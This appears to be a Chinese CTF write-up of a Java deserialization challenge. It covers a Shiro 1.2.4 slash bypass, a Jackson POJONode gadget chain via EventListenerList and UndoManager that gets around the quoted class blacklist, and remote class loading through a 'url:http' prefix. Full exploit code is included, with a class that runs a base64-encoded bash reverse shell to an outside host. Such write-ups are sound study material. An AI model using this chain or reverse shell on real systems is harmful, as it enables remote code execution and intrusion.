这个题链子很简单,都是已经公开的,就是有些点有点坑
拿到附件反编译,本地起环境用cfr就行,确实比较方便
题目分析
这里我一开始是直接找反序列化的点,在UserControler
下
但是这里有shiro权限校验
看shiro版本1.2.4是可以绕过的,加个/
即可绕过
所以可以直接来到反序列化这里,然后就是黑名单了
1 2
| private static final String[] blacklist = new String[]{"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"};
|
这里用的是resolveClass
加载的类,所以overlongencoding没法绕,这里可以看到Jackson的那条链不在黑名单所以直接用那个链即可,但是BadAttributeValueExpException
在黑名单,典型的触发toString方法的类被ban了,但是最近公开了很多,前不久的阿里云就公开了一个EventListenerList
类触发,同样也是readObject方法触发,所以很好的平替了
1
| EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
|
接下来就是TemplatesImpl
,这个被办了,当时就是在这里卡死了,bcel这里没依赖打不了,LdapAttribute
也在黑名单,所以只剩个远程类加载,一开始我忽略了User类后面才看到,还找了半天远程类加载的触发点。。。
可以看到这个User类加载远程的方法是典型的getter,那么链到这里就好了,不过这里ban了http和file,绕过方式我知道的有两种,一种是jar:http
,另一种是url:http
(偷学自snow师傅),为什么能够用url绕呢,简单调试一下其实就能发现
URL类里面有处理url的逻辑
所以这样就可以绕过了,简单调试了一下没具体细看逻辑
然后坑点来了(其实也不能算是坑点,还是自己没咋用过远程类加载),这里User类中的getGift
方法只是把远程路径去加载进去,如果你不触发这里那么是不会去请求远程类的,另外URLClassLoader
是先会从本地加载类,找不到才会加载远程类,所以你的恶意类不能带包名,否则它就会当成是你本地的类,也不会去远程加载了
payload
链子payload如下,来自大头的项目稍微改改就行https://github.com/LxxxSec/CTF-Java-Gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package com.myself;
import com.example.ycbjava.bean.User; import com.fasterxml.jackson.databind.node.POJONode; import javassist.*; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URLEncoder; import java.util.Base64; import java.util.Map; import java.util.Vector;
public class ycb { public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass();
User user = new User("url:http://192.168.1.100:8888/","123456");
POJONode pojoNode = new POJONode(user);
EventListenerList list = new EventListenerList(); UndoManager manager = new UndoManager(); Vector vector = (Vector) getFieldValue(manager, "edits"); vector.add(pojoNode); setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(list);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())));
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass(); while (clazz != null) { try { Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true); return field.get(obj); } catch (Exception e) { clazz = clazz.getSuperclass(); } } return null; } }
|
calc如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| import java.io.IOException; import java.io.Serializable;
public class calc implements Serializable { static { try { Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"); } catch (IOException e) { e.printStackTrace(); } } }
|
生成calc序列化如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.net.URLEncoder; import java.util.Base64;
public class ser { public static void main(String[] args) throws Exception{ calc calc = new calc(); byte[] serialize = serialize(calc); System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(serialize)));
} public static byte[] serialize(Object obj) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); return baos.toByteArray(); } }
|
流程
这里是我本地复现的,所以全部在本地,先把calc那个类编译成字节码
然后开启监听,先发送第一个payload把远程地址打进去
然后发送calc的序列化数据
稍等一下收到shell
不知道什么原因,我本地也是打了很多遍才成功,可能是Jackson的不稳定性 ,然后我一开始还有一个疑惑的点,我们Runtime不是被ban了为啥最后还可以用它来执行命令?其实这里虽然Runtime被办了,但是我们打进去的是calc类,反序列化的时候只会匹配到这个类,而一开始的链子payload里面也根本没用Runtime类,所以这里就可以用了